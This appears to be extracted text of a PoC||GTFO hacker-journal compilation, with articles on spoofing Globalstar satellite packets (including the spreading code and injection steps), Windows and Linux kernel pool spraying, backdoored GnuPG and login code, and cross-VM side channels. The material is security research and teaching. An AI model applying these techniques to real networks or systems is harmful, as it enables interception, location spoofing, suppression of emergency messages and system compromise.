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Introduction

Dear reader, this is a weird book.

This is the second volume of collected works from the prestigious
International Journal of Proof of Concept or Get The Fuck Out, a
publication for ladies and gentlemen with an interest in reverse
engineering, file format polyglots, radio, operating systems, and other
assorted technical subjects. The journal’s individual issues are published
in a variety of countries across the Americas and Europe, but this
volume you hold contains five of our finest releases in 784 action-
packed pages, indexed and cross referenced for your convenience.

These articles are the very best stories that engineers and
programmers might swap in front of a campfire, the clever tricks that
are all too often rejected from the academic conference, but swapped
discretely in its hallways by those who know better than their peers.
Like the Brothers Grimm, our little gang has spent years collecting
these stories, editing and illustrating them so that they won’t be
forgotten.

Concerning radio, you will learn how Colby Moore reverse

engineered Globalstar’s simplex communications protocol,1 how

Vogelfrei sees the AX.25 protocol that underlies much of ham radio,2

how Badenhop and Ramsey join Z-Wave networks with a stolen crypto

key,3 and how Matt Knight reverse engineered the real details of the

LoRa protocol, which differ from the patent.4



If you’re more interested in preserving vintage hardware, we have
an English translation of the article by Voja Antonić that introduced

the very first Yugoslavian computer,5 the most complete modern

collection of tricks for breaking Apple ][ copy protection,6 and the tale

of how Lorenz West reverse engineered every last byte of Star Raiders.7

For modern targets, you will find Travis Goodspeed’s work reverse

engineering the Tytera MD380 two-way radio8 and emulating its

AMBE audio codec under Linux,9 Peter Hlavaty’s tips for spraying the

Windows kernel pools,10 Alex Ionescu’s UMPown technique for

escalating from Ring 3 to Ring 0 on Windows,11 and Micah Elizabeth

Scott’s impressive work with a Wacom tablet.12

You will also fine some damned clever file format tricks, which are
explored through polyglot files that are valid in more than one format.
In addition to begin valid PDF and ZIP files, pocorgtfo09.pdf is also a

valid WavPack audio file;13 pocorgtfo10.pdf is a recording of button

presses to exploit Pokemon Red with an IRC client as a payload;14

pocorgtfo11.pdf is a Ruby quine that hosts itself over HTTP;15

pocorgtfo12.pdf is a self-replicated Android application that can be
installed like any other APK file, and then shared with another phone

over bluetooth;16 and pocorgtfo13.pdf is a Postscript file, but be careful
rendering it, because it will include a copy of /etc/passwd!

Each of these technical tricks, however simple or complicated, was
written by a good neighbor much like yourself. With a bit of patience
and perseverance, the details in these articles should be sufficient for
you to repeat those results, rebuilding these proofs of concept in your
own home, on your own computer, with your own mind.

And as you study these pages, you will learn the differences between
how machines ought to work and how they really do work. You will see
that software can be exploited to create strange behavior, that hardware



can be patched with altered firmware, that files can be legal in more
than one format, and other fine facts. Far more importantly than
knowing that these things are possible, you will learn to do these things
yourself. Ain’t that nifty?

Your neighbor,
Pastor Manul Laphroaig, T.G. S.B.



9 Elegies of the Second Crypto War

PASTOR MANUL LAPHROAIG’S
TABERNACLE CHOIR

SINGS REVERENT ELEGIES
OF THE

SECOND CRYPTO WAR

9:1 Zen and the Art of PoC

Neighbors, please join me in reading this tenth release of the
International Journal of Proof of Concept or Get the Fuck Out, a
friendly little collection of articles for ladies and gentlemen of
distinguished ability and taste in the field of software exploitation and
the worship of weird machines. This is our tenth release, given on
paper to the fine neighbors of Novi Sad, Serbia and Stockholm,
Sweden.





Page 13 contains our very own Pastor Manul Laphroaig’s sermon
on Newton and Turing, in which we learn about the academics’
affection for Turing-completeness.

On page 20, Colby Moore provides all the details you’ll need to
sniff simplex packets from the Globalstar satellite constellation.

Page 31 introduces some tips by Peter Hlavaty of the Keen Team
on kernel pool spraying in Windows and Linux.

Page 43 presents the results of the second Underhanded Crypto
Contest, held at the Crypto Village of Defcon 23.

On page 47, Sophia D’Antoine introduces some tricks for
communicating between virtual machines co-located on the same
physical host. In particular, the mf ence instruction can be used to force
strict ordering, interfering with CPU instruction pipelining in another
VM.

Eric Davisson, on page 57, presents a nifty little trick for causing
quarantined malware to be re-detected by McAfee Enterprise



VirusScan! This particular tumor is benign, but we bet a neighborly
reader can write a malignant variant.

Ron Fabela of Binary Brew Works, on page 61, presents his recipe
for TCP/IPA, a neighborly beer with which to warm our hearts and
our spirits during the coming apocalypse.

Vogelfrei shares with us some tricks for APRS and AX.25
networking on page 71. APRS exists around much of the western
world, and all sorts of mischief can be had through it. (But please don’t
be a jerk on the airwaves.)

Much as some readers think of us as a security magazine, we are first
and foremost a systems-internals journal with a bias toward the strange
and the classic designs. Page 84 contains a reprint, translated from the
original Serbian, of Voja Antonić’ article on the Galaksija, his Z80

home computer design, the very first in Yugoslavia.

fbz is a damned fine neighbor of ours, both a mathematician and a
musician. On page 126 you’ll find her latest single, Root Rights are a

Grrl’s Best Friend! If you’d rather listen to it than just read the lyrics,

run vlc pocorgtfo09.pdf and jump to page 128, where Philippe Teuwen
describes how he made this fine document a polyglot of PDF, ZIP, and
WavPack.

On page 131, you will find Oona’s Puzzle Corner, with all sorts of
nifty games for a child of five. If you aren’t clever enough to solve them,
then ask for help from a child of five!

“Academics should just marry Turing Completeness already!”

—The Grugq

9:2 From Newton to Turing, a Happy Family

by Pastor Manul Laphroaig, D.D.

When engineers first gifted humanity with horseless carriages that
moved on rails under their own power, this invention, for all its



usefulness, turned out to have a big problem: occasional humans and
animals on the rails. This problem motivated many inventors to look
for solutions that would be both usable and effective.

Unfortunately, none worked. The reason for this is not so easy to
explain—at least Aristotelian physics had no explanation, and few
scientists till Galileo’s time were interested in one. On the one hand,
motion had to brought on by some force and tended to kinda barrel
about once it got going; on the other hand, it also tended to dissipate
eventually. It took five hundred years from doubting the Aristotelian
idea that motion ceased as soon as its impelling force ceased to the first
clear pronouncement that motion in absence of external forces was a
persistent rather than a temporary virtue; and another six hundred for
the first correct formulation of exactly what quantities of motion were
conserved. Even so, it took another century before the mechanical
conservation laws and the actual names and formulas for momentum
and energy were written down as we know them.

These days, “conservation of energy” is supposed to be one of those
word combinations to check off on multiple-choice tests that make one

eligible for college.1 Yet we should remember that the steam engine
was invented well before these laws of classical mechanics were made
comprehensible or even understood at all. Moreover, it wasn’t until
nearly a century after Watt’s ten-horsepower steam engine patent that

someone formulated the principles of thermodynamics that actually



make a steam engine work—by which time it was chugging along at ten
thousand horsepower, able to move not just massive amounts of
machinery but also the engine’s own weight along the rails, plus a lot

more.2

All of this is to say that if you hear scientists doubting that an
engineer can accomplish things without their collective guidance, they
have a lot of history to catch up with, starting with that thing called the
Industrial Revolution. On the other hand, if you see engineers trying to
build a thing that just doesn’t seem to work, you just might be able to
point them to some formulas that suggest their energies are best
applied elsewhere. Distinguishing between these two situations is
known as magic, wisdom, extreme luck, or divine revelation; whoever

claims to be able to do so unerringly is at best a priest, not a scientist.3

There is an old joke that whatever profession needs to add “science”
to its name is not so sure it is one. Some computer scientists may not

take too kindly to this joke, and point out that it’s actually the word
“computer” that’s misleading, as their science transcends particular
silicon-and-copper designs. It is undeniable, though, that hacking as we

know it would not exist without actual physical computers.

As scientists, we like exhaustive arguments: either by full search of
all finite combinatorial possibilities or by tricks such as induction that
look convincing enough as a means of exhausting infinite combinations.
We value above all being able to say that a condition never takes place,

or always holds. We dislike the possibility that there can be a situation

or a solution we can overlook but someone may find through luck or
cleverness; we want a yes to be a yes, a no to mean no way in Hell. But
full search and induction only apply in the world of ideal models—call
them combinatorial, logical, or mathematical—that exclude any kinds
of unknown unknowns.

Hence we have many models of computation: substituting strings
into other strings (Markov algorithms), rewriting formulas (lambda
calculus), automata with finite and infinite numbers of states, and so on.
The point is always to enumerate all finite possibilities or to convince



ourselves that even an infinite number of them does not harbor the
ones we wish to avoid. The idea is roughly the same as using algebra:
we use formulas we trust to reason about any and all possible values at
once, but to do so we must reduce reality to a set of formulas. These
formulas come from a process that must prod and probe reality; we
have no way of coming up with them without prodding, probing, and
otherwise experimenting by hunch and blind groping—that is, by
building things before we fully understand how they work. Without

these, there can be no formulas, or they won’t be meaningful.

So here we go. Exploits establish the variable space; “science”
searches it, to our satisfaction or otherwise, or—importantly to save us
effort—asserts that a full and exhaustive search is infeasible. This may
be the case of energy conservation vs. trying to construct a safer fender
—or, perhaps, the case of us still trying to formulate what makes sense
to attempt.

That which we call the “arms race” is a part of this process. With it,
we continually update the variable spaces that we wish to exhaust;
without it, none of our methods and formulas mean much. This brings
us to the recent argument about exploits and Turing completeness.

Knowledge is power.4 In case of the steam engine, the power
emerged before the kind of knowledge called “scientific” if one is in



college or “basic” if one is a politician looking to hitch a ride—because
actual science has a tradition of overturning its own basics as taught in
schools for at least decades if not centuries. In any case, the knowledge
of how to build these engines was there before the knowledge that
actually explained how they worked, and would hardly have emerged if
these things had not been built already.

Our very own situation, neighbors, is not unlike that of the steam
power before the laws of thermodynamics. There are things that work
(pump mines, drive factories), and there are official ways of explaining
them that don’t quite work. Eventually, they will merge, and the
explanations will catch up, and will then become useful for making
things that work better—but they haven’t quite yet, and it is
frustrating.

This frustration is understandable. As soon as academics re-
discovered a truly nifty kind of exploit programming, they not only
focused on the least practically relevant aspect of it (Turing
completeness)—but did so to the exclusion of all other kinds of
niftyness such as information leaks, probabilistic programming (heap
feng-shui and spraying), parallelism (cloning and pinning of threads to
sap randomization), and so on. That focus on the irrelevant to the
detriment of the relevant had really rankled. It was hard to miss where
the next frontier of exploitation’s hard programming tasks and its next
set of challenges lay, but oh boy, did the academia do it again.



Yet it is also clear why they did it. Academic CS operates by models
and exhaustive searches or reasoning. Its primary method and
deliverable is exhaustive analysis of models, i.e., the promise that
certain bad things never happen, that all possible trajectories of a
system have been or can be enumerated.

Academia first saw exploit programming when it was presented in

the form of a model; prior to that, their eyes would just slide off it,
because it looked “ad-hoc,” and one can neither reason about “ad-hoc”
nor enumerate it. (At least, not if one wants to meet publication goals.)
When it turned out it had a model, academia did with it what it
normally does with models: automating, tweaking, searching, finding
their theoretical limits, and relating them to other models, one paper

at a time.5

This is not a bad method; at least, it gave us complex compilers and

CPUs that don’t crumble under the weight of their bugs.6 Eventually
we will want the kind of assurances such a method creates—when their
models of unexpected execution are complete enough, close enough to
reality. For now, they are not, and we have to go on building our



engines without guidance from models, but rather to make sure new
models will come from them.

Not that we are without hope. A reader has only to look to
Grsecurity/PaX at any given time to see what will eventually become
the precise stuff of Newton’s laws for the better OS kernels; similarly,
the inescapable failure modes of data and programming complexity
will eventually be understood as clearly as the three principles of
thermodynamics. Until then our best bet is to build engines—however
unscientific—and to construct theories—however removed from real
power—and to hope that the engineering and the science will take
enough notice of each other to converge within a lifetime, as they have
had the sense to do during the so-called Industrial Revolution, and a
few lucky times since.

And to this, neighbors, the Pastor raises not one but two drinks—
one for the engineering orienting the science, and another for the
science catching up with the knowledge that is power, and saving it the
effort of what cannot be done—and may they ever converge! Amen.

9:3 Globalstar Satellite Comms

by Colby Moore

It might be an understatement to say that hackers have a fascination
with satellites. Fortunately, with advancements in Software Defined
Radio such as the Ettus Research USRP and Michael Ossmann’s
HackRF, satellite hacking is now not only feasible, but affordable. Here
we’ll discuss the reverse engineering of Globalstar’s Simplex Data
Service, allowing for interception of communications and injection of
data back into the network.

Rumor has it, that after deployment, Globalstar’s first generation of
satellites began to fail, possibly due to poor radiation hardening. This
affected the return path data link, where Globalstar’s satellite
constellation would transmit to a user. To salvage the damaged satellite



network, Globalstar introduced a line of simplex products that enable
short, one-way communication from the user to Globalstar.

The nature of the service makes it ideal for asset tracking and
remote sensor monitoring. While extremely popular with oil and gas,
military, and shipping industries, this technology is also widely used by
consumers. A company called SPOT produces consumer-grade asset
trackers and personal locator beacons that use this same technology.

Globalstar touts their simplex service as “extremely difficult” to
intercept, noting that the signal’s “Low-Probability-of-Intercept (LPI)
and Low-Probability-of-Detection(LPD) provide over-the-air

security.”7

In this article I’ll outline the basics for reverse engineering the
Globalstar Simplex Data Services modulation scheme and protocol,
and will provide the technical information necessary to interface with
the network.

Network Architecture

The network is comprised of many Low Earth Orbit, bent-pipe
satellites. Data is transmitted from the user to the satellite on an uplink
frequency and repeated back to Earth on a downlink frequency.
Globalstar ground stations all over the world listen for this downlink
data, interpret it, and expose it to the user via an Internet-facing back-
end. Each ground station provides a several thousand mile window of
data coverage.

Bent-pipe satellites are “dumb” in that they do not modify the
transmitted data. This means that the data on the uplink is the same on
the downlink. Thus, with the right knowledge, a skilled adversary can
intercept data on either link.



Tools and Code

This research was conducted using GNURadio and Python for data
processing and an Ettus Research B200 for RF work. Custom proof-of-
concept toolsets were written for DSSS and packet decoding. Devices
tested include a SPOT Generation 3, a SPOT Trace, and a SmartOne
A.

Frequencies and Antennas

Four frequencies are allocated for the simplex data uplink. Channel A is
1611.25 MHz, B is 1613.75 MHz, C is 1616.25 MHz, and D is 1618.78
MHz. Current testing has only shown operation on channel A.

Globalstar uses left-hand circular-polarized antennas for
transmission of simplex data from the user to the satellite. The antenna
that ships with Globalstar’s GSP-1620 modem, designed for



transmitting from the user to a satellite, has proven adequate for
experimentation.

Downlink is a bit more complicated, and far more faint. Channels
vary by satellite, but are within the 6875–7055 MHz range. Both
RHCP and LHCP are used for downlink.

Direct Sequence Spread Spectrum

Devices using the simplex data service implement direct sequence
spread spectrum (DSSS) modulation to reliably transmit data using low
power. DSSS is a modulation scheme that works by mixing a slow data
signal with a very fast Pseudo Noise (PN) sequence. Since the pseudo-
random sequence is known, the resulting signal retains all of the
original data information but spread over a much wider spectrum.
Among other benefits, this process makes the signal more tolerant to
interference.

Figure 9.1: GNURadio Companion Decoder

In Globalstar’s implementation of DSSS, packet data is first
modulated as non-differential BPSK at 100.04 bits/second, then spread



using a repeating 255 chip PN sequence at a rate of 1,250,000
chips/second. Here “chip” refers to one bit of a PN sequence, so that it
is not confused with actual data bits.

Pseudo Noise Sequence / M-Sequences

Pseudo Noise (PN) sequences are periodic binary sequences known by
both the transmitter and receiver. Without this sequence, data cannot
be received. The simplex data service uses a specific type of PN
sequence called an M-Sequence.

M-Sequences have the unique property of having a strong
autocorrelation for phase shifts of zero but very poor correlation for
any other phase shift. This makes the detection of the PN in unknown
data, and subsequently locking on to a DSSS signal, relatively simple.

All simplex data network devices examined use the same PN
sequence to transmit data. By knowing one code, all network data can
be intercepted.

Obtaining The M-Sequence

In order to intercept network data, the PN sequence must be
recovered. For each bit of data transmitted, the PN sequence repeats 49
times. Data packets contain 144 bits.

The PN sequence never crosses a bit boundary, so it can be inferred
that xor(PN, data) == PN.

By decoding the transmitted data stream as BPSK,8 we can
demodulate a spread bitstream. Note that demodulation in this
manner negates any processing gain provided from DSSS and thus can
only be received over short distances, so for long distances you will
need to use a proper DSSS implementation.



Viewing the demodulated bitstream, a repeating sequence is
observed. This is the PN, the spreading code key to the kingdom.

The simplex data network PN code is 1111111100101101011-
01110101010111001001101101001100110100011101101100010-

00100111101001001000011110001010011100011111010111100111010000101011001010001011000001

10010001100001101111-11011100001000001001010100101111100000011100110001101-

010000000101110111101100.

Despreading

DSSS theory states that to decode a DSSS-modulated signal, a received
signal must be mixed once again with the modulating PN sequence; the
original data signal will then fall out. However, for this to work, the PN
sequence needs to be phase-aligned with the mixed PN/data signal,
otherwise only noise will emerge.

Alignment of the PN sequence to the data stream if accomplished
by correlating the PN sequence against the incoming datastream at
each sample. When aligned, the correlation will peak. To despread, this
correlation peak is tracked and the PN is mixed with the sampled RF
data. The resulting signal is the 100.04 bit/second non-differential
BPSK modulated packet data.

Decoding and Locations

Once the signal is despread, a BPSK demodulator is used to recover
data. The result is a binary stream, 144 bytes in length, representing
one data packet. The data packet format is shown in Figure 9.2.

Simplex data packets can technically transmit any 72 bits of user
defined data. However, the network is predominantly used for asset
tracking and thus many packets contain GPS coordinates being relayed
from tracking devices. This data scheme for GPS coordinates can be
interpreted with the following Python code.



latitude  =       int ( user_data [8:32],2)  *  90 / 2**23
longitude = 360 - int ( user_data [32:56],2) * 180 / 2**23

CRC

Packets are verified using a 24 bit CRC which covers all of the data
packet except for the preamble and, of course, the CRC itself. Python
code implementing the CRC algorithm is shown in Figure 9.3.

Transmitting

DISCLAIMER: It is most likely illegal to transmit on Globalstar’s
frequencies where you live. Do so at your own risk. Remember, no one
likes late night visits from the FCC and it would really suck if you
interrupted someone’s emergency communication!

By knowing the secret PN code, modulation parameters, data
format, and CRC, it is possible to craft custom data packets and inject
them back into the satellite network. The process is to (1) generate a
custom packet, (2) calculate and append the correct CRC, (3) spread
the packet using Globalstar’s PN sequence, and finally (4) BPSK
module the spread data for transmission over the RF carrier.

Figure 9.2: Packet Format



Figure 9.3: Python Implementation of Globalstar’s CRC24

Few SDR boards have sufficient power to communicate with the
network, buts COTS amplifiers are available for less than a few
hundred dollars. Specifications suggests a minimum transmit power of
about 200 milliwatts.



Spoofing

SPOT produces a series of asset trackers called SPOT Trace. SPOT
also provides SPOT_Device_Updater.pkg, an OS X update utility, to configure
various device settings. This utility contains development code that is
never called by the consumer application.

The updater app package contains SPOT3FirmwareTool.jar.
Decompilation shows that a UI view calls a method writeESN() in
SPOTDevice.class. You read that correctly, they included the functionality
to program arbitrary serial numbers to SPOT devices!

This UI can be called with a simple Java utility.

Upon execution, a debug console is launched, allowing the writing
of arbitrary settings including ESNs, to the SPOT device. (This
functionality was included in Spot Device Updater 1.4 but has since
been removed.)

Impact

The simplex data network is implemented in countless places
worldwide. Everything from SCADA monitoring to emergency
communications relies on this network. To find that there is no
encryption or authentication on the services examined is sad. And to see
that injection back into the network is possible is even worse.

Using the specifications outlined here, it is possible—among other
things—to intercept communications and track assets over time, spoof
an asset’s location, or even cancel emergency help messages from
personal locator beacons.



One could also enhance their own service, create their own simplex
data network device, or use the network to transmit their own covert
communications.

PoC and Resources

This work was presented at BlackHat USA 2015 and proof-of-concept

code is available both by Github and within pocorgtfo-09.pdf.9

9:4 Pool Spray the Feature; or, Unprivileged Data
Around the Kernel!

by Peter Hlavaty of Keen Team

When it comes to kernel exploitation, you might think about
successful exploitation of interesting bug classes such as use-after-free
and over/under-flows. In such exploitation it is sometimes really useful
to ensure that the corrupted pointer will still point to accessible, and in
the best scenario also controllable, data.

As we described in our recent blogpost about kernel security,10

although controlling kernel data to such an extent should be
impossible and unimaginable, this is, in fact, not the case with current
OS kernels.

In this article we describe layout and control of pool data for
various kernels, in different scenarios, and with some nifty examples.

Windows

1. Small and large allocations: There are a number of known
approaches to invoking ExAllocatePool (kmalloc) in kernel, with more or less
control over data shipped to kernel. Two notable examples are

SetClassLongPtrW11 by Tarjei Mandt and CreateRoundRectRgn/PolyDraw12 by Tavis
Ormandy. Another option we were working on recently resides in



SessionSpace and grants full control of each byte except those in the
header space. We successfully leveraged this approach in Pwn2Own

2015 and described it at Recon.13 We use the win32k!_gre_bitmap object.

You can think of it as a kind of kmalloc. Consider the following code:

2. Different pools matter: On Windows, exploitation of different
objects can get a bit tricky, because they can reside in different pools.



This means that if you want to use our win32k!_gre_bitmap technique,
you must use it only on objects existing in SessionPool, which is not
always the case. But on the other hand, as we already discussed, in
different pools you can find different objects to fulfill your needs.
Another nice example, in a different pool, was leveraged by Alex

Ionescu, using the Pipe object, proposed with the Socket object as well.14

The following piece of code represents another kmalloc of chosen
size.



This was just a sneak peek at two objects that are easy to misuse for
precise control over kernel memory content (via SetBitmapBits and
WriteFile) and the pool layout (via Alloc and Free). Precise pool layout
control can be achieved mainly in big pools, where layout can be well
controlled. With small allocations, you may face more problems due to
randomization being in place, as covered by the nifty research of Tarjei

Mandt and Chris Valasek.15

We mention only a few objects to spray with; however, if you invest
a bit of time to look around the kernel, you will find other mighty
objects in different pools as well.

Linux (Android) Kernel

In Linux, you face a different scenario. With SLUB,16 you encounter
problems due to overall randomization, and due to data that is not so
easily controllable. In addition, SLUB has a different concept of pool
separation, that of separate kernel caches for specific object types.
Kernel caches provide far better granularity, as often only a few objects
are stored in the same cache.

In order to exploit an overflow, you may need to use a particular
object of the same cache, or force the overflow from your SLAB_objectA to



a new SLAB_objectB block. In case of UAF, you can also force a whole
particular SLAB block to be freed and reallocate it with another SLAB
object. Either of these variants may be complex and not very stable.

However, not all objects are stored in those kernel caches, and a lot
of the useful ones are allocated from the default object pool based only
on the size of the object, so in the same SLAB you can mix different
objects.

Our first useful object for playing with the pool layout is Pipe, in
Figure 9.4. TTY in Figure 9.5 and Socket in Figure 9.6 are also rather
useful.

However, in our implementations we only play with allocations of
sizes sizeof(Pipe), sizeof(TTY), sizeof(Socket), but not with their associated
buffers for the Pipe, TTY, or Socket objects respectively. Therefore, here we
omit doing the equivalent of memcpy, but you can ship your controlled
data to kernel memory through the write syscall, which will store it
there faithfully byte-for-byte.



Figure 9.4: Pipe Object



Figure 9.5: TTY Object

Figure 9.6: Socket Object

Here is an example with Pipe. It is similar to the Windows example.
In Windows we use the WriteFile API, but in the Linux implementation



we have to use CPipe.Write, like in this example with fcntl syscall:

One of the reasons why we focus mainly on object header-based
kmallocs is that in Linux the objects we deal with are easy to overwrite,
have a lot of pointers and useful state we can manipulate, and are often
quite large. For example, they may cover different SLABSs, and may
even be located in the same SLAB as various kinds of buffers that make
pretty sexy targets. One more reason is covered later in this article.

However, understanding the real pool layout is a far more difficult
task than described above, as randomization complicates it to a large
extent. You can usually overcome it with spraying in the same cache
and filling most of the pool to ensure that almost every object there can
be used for exploitation, as due to randomization you don’t know
where your target will reside.

Sometimes by trying to do this kind of pool layout with
overflowable buffer and right object headers you can achieve full pwn
even without touching addr_limit.



Pool spray brute force implementation:

But as we mentioned before, a big drawback to effective pool
spraying on Linux and to doing a massive controllable pool layout is



the limit on the number of owned kernel objects per process. You can
create a lot of processes to overcome it, but that is bit messy and it
doesn’t always properly solve your issue.

Spray by GFP_USER zone:

To overcome this limitation and to control more of the kernel memory
(zone GFP_USER) state, we came up with a somewhat more comprehensive

solution than that which was presented at Confidence 2015.17

To understand this technique, we will need to take a closer look at
the splice method.

As you can see from this highlight, the important page is
alloc_page(GFP_USER), which is allocated for PAGE_SIZE and filled with
controlled content later. This is nice, but we still have a limit on pipes!

Now here is a paradox: sometimes randomization can play in your
hands! In other words, when you splice many times, you will cover a lot



of random pages in kernel’s virtual address space. But that’s exactly
what we want!

But to trigger default_file_splice_read you need to provide the
appropriate pipe counterpart to splice, and one of the best candidates is
/dev/ptmx, the TTY. As splice is for moving content around, you will need
to perform a few steps to achieve a successful spray algorithm:

You will need to repeatedly (1) fill tty slave, (2) splice tty master to pipe
in, and (3) read it out from pipe out.

In conclusion, we consider kmalloc, with per-byte-controlled content,

and kfree controllable by user to that extent very damaging for overall
kernel security and introduced mitigations. And we believe that this
power will be someday stripped from the user, therefore making harder
exploitation of otherwise difficult to exploit vulnerabilities.

In this article we do not discuss kernel memory control by the

ret2dir technique.18 For additional info and practical usage check our

research from BHUS15!19

9:5 Second Underhanded Crypto Contest



by Taylor Hornby featuring winning submissions by Joseph Birr-Pixton and

Scott Arciszewski

Defcon 23’s Crypto and Privacy Village mini-contest is over.
Despite the tight deadline, we received five high-quality submissions in
two categories. The first was to patch GnuPG to leak the private key in
a message. The second was to backdoor a password authentication
system, so that a secret value known to an attacker could be used in
place of the correct password.

GnuPG Backdoor

We had three submissions to the GnuPG category. The winner is
Joseph Birr-Pixton. The submission takes advantage of how GnuPG 1.4
generates DSA nonces.

The randomness of the DSA nonce is crucial. If the nonce is not
chosen randomly, or has low entropy, then it is possible to recover the
private key from digital signatures. GnuPG 1.4 generates nonces by
first generating a random integer, setting the most-significant bit, and
then checking if the value is less than a number Q (a requirement of
DSA). If it is not, then the most-significant 32 bits are randomly
generated again, leaving the rest the same.

This shortcut enables the backdoor. The patch looks like an
improvement to GnuPG, to make it zero the nonce after it is no longer
needed. Unfortunately for GnuPG, but fortunately for this contest,
there’s an extra call to memset() that zeroes the nonce in the “greater than
Q” case, meaning the nonce that actually gets used will only have 32
bits of entropy. The attacker can fire up some EC2 instances to brute
force the rest and recover the private key.



Figure 9.7: GNUPG Backdoor

Backdoored Password Authentication

There were two entries to the password authentication category. The
winner is Scott Arciszewski. His submission pretends to be a solution to
a user enumeration side channel in a web login form. The problem is
that if the username doesn’t exist, the login will fail fast. If the username
does exist, but the password is wrong, the password check will take a
long time, and the login will fail slow. This way, an attacker can check if
a username exists by measuring the response time.



The fix is to, in the case where the username does not exist, check
the password against the hash of a random garbage value. The garbage
value is generated using rand(), a random number generator that is not
cryptographically secure. Some rand() output is also exposed to the
attacker through cache-busting URLs and CSRF tokens. With that
output, the attacker can recover the internal rand() state, predict the
garbage value, and use that in place of the password.

An archive with all of the entries is included within this PDF.20 The
judge for this competition was Jean-Philippe Aumasson, to whom we
extend our sincerest thanks.





9:6 Cross-VM Side Channels; or, Abusing Out-of-
Order-Execution

by Sophia D’Antoine

In which Sophia uses the MFENCE instruction on VMs, just as

Joshua used trumpets on the walls of Jericho. —PML

At REcon 2015, I demonstrated a new hardware side channel that
targeted co-located virtual machines in the cloud. This attack
exploited the CPU’s pipeline as opposed to cache tiers, which are often
used in side channel attacks. Looking for hardware-based side channels,
specifically in the cloud, I analyzed a few universal properties that
define the “right” kind of vulnerable system as well as unique ones
tailored to the hardware medium.

The relevance of these types of attacks will only increase—
especially attacks that target the vulnerabilities inherent to systems that
share hardware resources, such as in cloud platforms.

What is a Side Channel Attack?

A side channel is a way for any meaningful information to be leaked
from the environment running the target application, or in this case the
victim virtual machine (as in Figure 9.8). In this case, a process (the
attacker) must be able to repeatedly record this environment artifact
from inside another virtual machine.

In the cloud, this environment is the shared physical resources on
the service used by the virtual machines. The hypervisor dynamically
partitions each physical resource, which is then seen by a single virtual
machine as its own private resource. The side channel model in Figure
9.9 illustrates this.



Figure 9.8: Virtualization of physical resources

Figure 9.9: Side channel model

Knowing this, the attacker can interact with that resource partition
in a recordable way, such as by flushing a line in the cache tier, waiting
until the victim process uses it for an operation, then requesting that
address again—recording what values are now there.

What Good is a Side Channel Attack?



Great! So we can record things from our victim’s environment—but
now what? Of course, some kinds of information are better than others;
here is an overview of the different kinds of attacks people have
considered, depending on what the victim’s process is doing.

Crypto key theft. Crypto keys are great; private crypto keys are
even better. Using this hardware side channel, it’s possible to leak the
bytes of the private key used by a co-located process. In one scenario,
two virtual machines are allocated the same space in the L3 cache at
different times. The attacker flushes a certain cache address, waits for
the victim to use that address, then queries it again—recording the new

values that are there.21

Process monitoring. What applications is the victim running? It
will be possible for find out when you record enough of the target’s
behavior, i.e., its CPU or pipeline usage or values stored in memory.
Then a mapping between the recording to a specific running process
could be constructed—up to some varied degree of certainty. Warning,
this does rely on at least a rudimentary knowledge of machine learning.

Environment keying. This attack is handy for proving co-
location. Using the environment recordings taken off of a specific
hardware resource, you can also uniquely identify one server from
another in the cloud. This is useful to prove that two virtual machines
you control are co-resident on the same physical server. Alternatively, if
you know the behavior signature of a server your target is on, you can
repeatedly create virtual machines in the targeted cloud, recording the

behavior on each system until you find a match.22

Broadcast signal. This attack is a nifty way of receiving messages
without access to the Internet. If a colluding process is purposefully
generating behavior on a pre-arranged hardware resource, such as
purposefully filling a cache line with 0’s and 1’s, the attacker (your
process) can record this behavior in the same way it would record a
victim’s behavior. You then can translate the recorded values into pre-
agreed messages. Recording from different hardware mediums results

in a channel with different bandwidths.23



The Cache is Easy; the Pipeline is Harder

Now all of the above examples used the cache to record the
environment shared by both victim and attacker processes. It is the
most widely used resource in both literature and practice for
constructing side channels, as well as the easiest one to record artifacts
from. Basically, everyone loves cache.

However, the cache isn’t the only shared resource. Co-located
virtual machines also share the CPU execution pipeline, as illustrated
in Figure 9.10. In order to use the CPU pipeline, we must be able to
record a value from it. Unfortunately, there is no easy way for any
process to query the state of the pipeline over time—it is like a virtual
black-box.

The only thing a process can know is the instruction set order it
gives to be executed on the pipeline and the result the pipeline returns.
This is the information source we will mine for a number of effects and
artifacts.

Out of order execution: a pipeline’s artifact. We can exploit this
pipeline optimization as a means to record the state of the pipeline.
The known input instruction order will result in two different return
values—one is the expected result(s), the other is the result if the
pipeline executes them out-of-order.

Strong memory ordering. Our target, cloud processors, can be
assumed to run the x86/64 architecture, which has a strongly-ordered

memory model.24 This is important, because the pipeline will optimize
the execution of instructions, but will attempt to maintain the right
order of stores to memory and loads from memory.

However, the stores and loads from different threads may be

reordered by out-of-order-execution. Now, this reordering is
observable if we’re clever enough.



Figure 9.10: Foreign processes can share the same pipeline.

Recording instruction reorder (or, how to be clever). In order
for the attacker to record these reordering artifacts from the pipeline,
we must record two things for each of our two threads: input instruction

order and return value.

Additionally, the instructions in each thread must contain a STORE to
memory and a LOAD from memory. The LOAD from memory must
reference the location stored to by the opposite thread. This setup
ensures the possibility for the four cases illustrated in Figure 9.11. The
last is the artifact we record; doing so several thousand times gives us
averages over time.

Sending a message. To make our attacks more interesting, we
want to be able to force the amount of recorded out-of-order-
executions. This ability is useful for other attacks, such as constructing
covert communication channels.

In order to do this, we need to alter how the pipeline optimization
works by increasing the probability that it either will or will not
reorder our two threads. The easiest is to enforce a strong memory
order and guarantee that the attacker will receive fewer out-of-order-
executions. This is where memory barriers come in.



Figure 9.11: The attacker can record when its instructions are
reordered.

Memory barriers. In the x86 instruction set, there are specific
barrier instructions that stop the processor from reordering the four
possible combinations of STOREs and LOADs. What we’re interested in is
forcing a strong order when the processor encounters an instruction set
with a STORE followed by a LOAD. The MFENCE instruction does exactly this.

By getting the colluding process to inject these memory barriers
into the pipeline, the attacker ensures that the instructions will not be
reordered, forcing a noticeable decrease in the recorded averages.
Doing this in distinct time frames allows us to send a binary message,

as shown in Figure 9.12. More details are available in my thesis.25

The takeaway is that—even with virtualization separating your
virtual machine from the hundreds of other virtual machines!—the
pipeline can’t distinguish your process’s instructions from all the other
ones, and we can use that to our advantage.



Figure 9.12: MFENCE ensures the strong memory order on pipeline







9:7 Antivirus Tumors



by Eric Davisson

McAfee Enterprise VirusScan, which is not the home version of their
AV, has a peculiar way of quarantining malware. If an anti-virus product
wants to keep a forensic copy of removed malware, it must either move
it to an area of the system that it doesn’t scan, or it must somehow
transform this malware data so it can no longer be seen by the anti-
virus signature. VirusScan is almost able to get away with the second
option. Almost.

A VirusScan quarantine file (.bup) is an odd form of an archive
format called Compound File Binary Format that can usually be read
by 7zip. This file contains two files. One of them is a file that contains
